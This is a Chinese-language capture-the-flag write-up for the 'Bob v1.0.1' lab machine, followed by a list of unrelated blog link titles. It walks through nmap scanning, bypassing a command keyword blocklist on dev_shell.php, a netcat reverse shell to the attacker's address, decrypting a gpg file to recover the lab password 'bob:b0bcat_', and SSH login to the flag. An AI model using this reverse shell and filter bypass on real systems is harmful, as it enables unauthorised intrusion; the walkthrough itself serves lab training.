Write-up-Bob_v1.0.1
关于
信息收集
- 网卡:vmnet8;IP在192.168.131.1/24
➜ ~ ip a show dev vmnet8
5: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff
inet 192.168.131.1/24 brd 192.168.131.255 scope global vmnet8
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:fec0:8/64 scope link
valid_lft forever preferred_lft forever
- Nmap一顿扫;发现IP为192.168.131.139,再深入扫描
➜ ~ nmap -sn 192.168.131.1/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-10 21:27 CST
Nmap scan report for 192.168.131.1
Host is up (0.00018s latency).
Nmap scan report for 192.168.131.139
Host is up (0.00078s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 6.49 seconds
➜ ~
➜ ~ nmap -T4 -A 192.168.131.139 -p1-65535
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-10 21:28 CST
Nmap scan report for 192.168.131.139
Host is up (0.0019s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 4 disallowed entries
| /login.php /dev_shell.php /lat_memo.html
|_/passwords.html
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
25468/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 84:f2:f8:e5:ed:3e:14:f3:93:d4:1e:4c:41:3b:a2:a9 (RSA)
| 256 5b:98:c7:4f:84:6e:fd:56:6a:35:16:83:aa:9c:ea:f8 (ECDSA)
|_ 256 39:16:56:fb:4e:0f:50:85:40:d3:53:22:41:43:38:15 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.65 seconds
➜ ~
- 发现开放了80端口和服务为ssh的25468端口;还有robot.txt文件,里面有
/login.php /dev_shell.php /lat_memo.html /passwords.html把各个页面都看一遍发现有一个可以执行shell的页面。在lat_memo.html这个页面找到还有就得文件,可能是备份文件,在dev_shell.php后面加上bak,存在源码备份文件,下载回来获取过滤的规则。然后用脚绕。
GetFlag
dev_shell.php过滤了"pwd", "ls", "netcat", "ssh", "wget", "ping", "traceroute", "cat", "nc",还有;,如果你用msf生成的Python反弹木马没有上面的关键字可以使用msf的。我生成的木马base64编码后刚刚好有NC这个关键词。所以我换了其他方法。在nc前面加上绝对路径。
/bin/nc -e /bin/sh 192.168.131.1 7788
- 在本地用nc监听7788端口;
nc -lvp 7788,然后执行命令。 - 拿到Shell后转tty;
python -c "import pty;pty,spawn('/bin/bash')";翻遍home目录
www-data@Milburg-High:/home/bob/Documents$ ls
ls
Secret login.txt.gpg staff.txt
www-data@Milburg-High:/home/bob/Documents$ cat staff.txt
cat staff.txt
Seb:
Seems to like Elliot
Wants to do well at his job
Gave me a backdoored FTP to instal that apparently Elliot gave him
James:
Does nothing
Pretty Lazy
Doesn't give a shit about his job
Elliot:
Keeps to himself
Always needs to challenge everything I do
Keep an eye on him
Try and get him fired
www-data@Milburg-High:/home/bob/Documents$
<uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$ gpg
gpg
gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied
www-data@Milburg-High:/home/bob/Documents/Secret/Keep_Out/Not_Porn$ cd No_Lookie_In_Here
<ents/Secret/Keep_Out/Not_Porn$ cd No_Lookie_In_Here
<uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$ ls
ls
notes.sh
<uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$ cat notes.sh
cat notes.sh
#!/bin/bash
clear
echo "-= Notes =-"
echo "Harry Potter is my faviorite"
echo "Are you the real me?"
echo "Right, I'm ordering pizza this is going nowhere"
echo "People just don't get me"
echo "Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>"
echo "Cucumber"
echo "Rest now your eyes are sleepy"
echo "Are you gonna stop reading this yet?"
echo "Time to fix the server"
echo "Everyone is annoying"
echo "Sticky notes gotta buy em"
- Google一顿找到这是一首藏头诗。每个大写字母开头组成一串
HARPOCRATES,刚刚也看到了一个gpg文件,所以这可能是解密的密码。但在目标机上执行gpg发现没权限。就开启python -m SimpleHTTPServer把文件下载回来本地解密了。
➜ DOWNLOAD gpg --batch --passphrase HARPOCRATES -d login.txt.gpg
gpg: AES 加密过的数据
gpg: 以 1 个密码加密
bob:b0bcat_
- 因为bob就是服务器的管理员,所以可以用他的密码登录ssh。
➜ DOWNLOAD ssh bob@192.168.131.139 -p 25468
__ __ _ _ _ _____
| \/ (_) | | / ____|
| \ / |_| | |__ _ _ _ __ __ _ | (___ ___ _ ____ _____ _ __
| |\/| | | | '_ \| | | | '__/ _` | \___ \ / _ \ '__\ \ / / _ \ '__|
| | | | | | |_) | |_| | | | (_| | ____) | __/ | \ V / __/ |
|_| |_|_|_|_.__/ \__,_|_| \__, | |_____/ \___|_| \_/ \___|_|
__/ |
|___/
bob@192.168.131.139's password:
Linux Milburg-High 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar 8 23:49:12 2018 from 192.168.56.1
bob@Milburg-High:~$ sudo cat /flag.txt
sudo: unable to resolve host Milburg-High
[sudo] password for bob:
CONGRATS ON GAINING ROOT
.-.
( )
|~| _.--._
|~|~:'--~' |
| | : #root |
| | : _.--._|
|~|~`'--~'
| |
| |
| |
| |
| |
| |
| |
| |
| |
_____|_|_________ Thanks for playing ~c0rruptedb1t
bob@Milburg-High:~$
Write-up-Bob_v1.0.1的更多相关文章
- ZAM 3D 制作简单的3D字幕 流程(二)
原地址:http://www.cnblogs.com/yk250/p/5663907.html 文中表述仅为本人理解,若有偏差和错误请指正! 接着 ZAM 3D 制作简单的3D字幕 流程(一) .本篇 ...
- ZAM 3D 制作3D动画字幕 用于Xaml导出
原地址-> http://www.cnblogs.com/yk250/p/5662788.html 介绍:对经常使用Blend做动画的人来说,ZAM 3D 也很好上手,专业制作3D素材的XAML ...
- 微信小程序省市区选择器对接数据库
前言,小程序本身是带有地区选着器的(网站:https://mp.weixin.qq.com/debug/wxadoc/dev/component/picker.html),由于自己开发的程序的数据是很 ...
- osg编译日志
1>------ 已启动全部重新生成: 项目: ZERO_CHECK, 配置: Debug x64 ------1> Checking Build System1> CMake do ...
- 【AR实验室】OpenGL ES绘制相机(OpenGL ES 1.0版本)
0x00 - 前言 之前做一些移动端的AR应用以及目前看到的一些AR应用,基本上都是这样一个套路:手机背景显示现实场景,然后在该背景上进行图形学绘制.至于图形学绘制时,相机外参的解算使用的是V-SLA ...
- Elasticsearch 5.0 中term 查询和match 查询的认识
Elasticsearch 5.0 关于term query和match query的认识 一.基本情况 前言:term query和match query牵扯的东西比较多,例如分词器.mapping ...
- Swift3.0服务端开发(一) 完整示例概述及Perfect环境搭建与配置(服务端+iOS端)
本篇博客算是一个开头,接下来会持续更新使用Swift3.0开发服务端相关的博客.当然,我们使用目前使用Swift开发服务端较为成熟的框架Perfect来实现.Perfect框架是加拿大一个创业团队开发 ...
- vue2.0实践的一些细节
最近用vue2.0做了个活动.做完了回头发现,好像并没有太多的技术难点,而自己好像又做了比较久...只能说效率有待提升啊...简单总结了一些比较细节的点. 1.对于一些已知肯定会有数据的模块,先用一个 ...
- Linux平台 Oracle 10gR2(10.2.0.5)RAC安装 Part3:db安装和升级
Linux平台 Oracle 10gR2(10.2.0.5)RAC安装 Part3:db安装和升级 环境:OEL 5.7 + Oracle 10.2.0.5 RAC 5.安装Database软件 5. ...
- Linux平台 Oracle 10gR2(10.2.0.5)RAC安装 Part1:准备工作
Linux平台 Oracle 10gR2(10.2.0.5)RAC安装 Part1:准备工作 环境:OEL 5.7 + Oracle 10.2.0.5 RAC 1.实施前准备工作 1.1 服务器安装操 ...
随机推荐
- java中对象的初始化问题
最近又把java编程思想看了看.又有些收获.此书确实不错 java中的初始化相信很多人都知道.但是具体的初始化步骤,初始化几次确不一定.上代码 public class A{ public stati ...
- 四、Python文件操作
描述:Python的文件操作涉及对文件的读/写与编码的处理. 1.两种写法 1.1 第一种 1 f = open('文件路径', '文件操作方式', encoding='utf-8') 2 对文件操作 ...
- 源头质量 PageHelper(分页),导出功能
今天星期五,本来想直接关电脑走人的,但想想自己弄出来的,写写留个记忆吧.两个功能 导出 和 Mybatis的插件 PageHelper 分页 一,导出功能代码实现:这里是需要jar包的啊 <!- ...
- 13,viewport
set viewport:~是一种函数,功能是为图形输出设置当前视口. 怎样处理移动端1px被渲染成2px的问题(略)
- crawlSpider全站爬取 分布式
# 如何提升scrapy爬取数据的效率? 推荐: 单线程加异步协程 增加并发: 默认scrapy开启的并发线程为32个,可以适当进行增加.在settings.py中修改 CONCURRENT_REQU ...
- 2020qbxt D1T3 停车
嗯... 题目: [问题描述] 市中心有一个环形的停车场,编号1到n,现在有m个车要停,停在每个位置会有不同的费用.为了方便,不允许两辆车停在相邻的位置,请问停好所有车的最小花费是多少? [输入格式] ...
- ios 底部用定位 fixed。在软件盘出来后,页面元素被顶上去一部分,fixed定位的footer也跑到了上面去。解决方法
ios 底部用定位 fixed.在软件盘出来后,页面元素被顶上去一部分,fixed定位的footer也跑到了上面去.解决方法 $("input").focus(function() ...
- sql语句查询指定月份数据
要求:查询出emp表中1981年2月份入职的员工 emp表 常用的两种方式: 1.YEAR查询年,MONTH查询月 SELECT * FROM emp WHERE ' 2.date_format (使 ...
- 2_1 aabb
输出所有形如aabb的4位完全平方数(即前两位数字相等,后两位数字也相同).
- java 日志的数据脱敏
思路 1.在 model层进行处理,直接重写get方法,在写一个getPlain 获取明文方法.(缺点:数据库写入和json序列化传递时使用的都是密文) 2.利用 日志组件过滤 特定的key,去进行脱 ...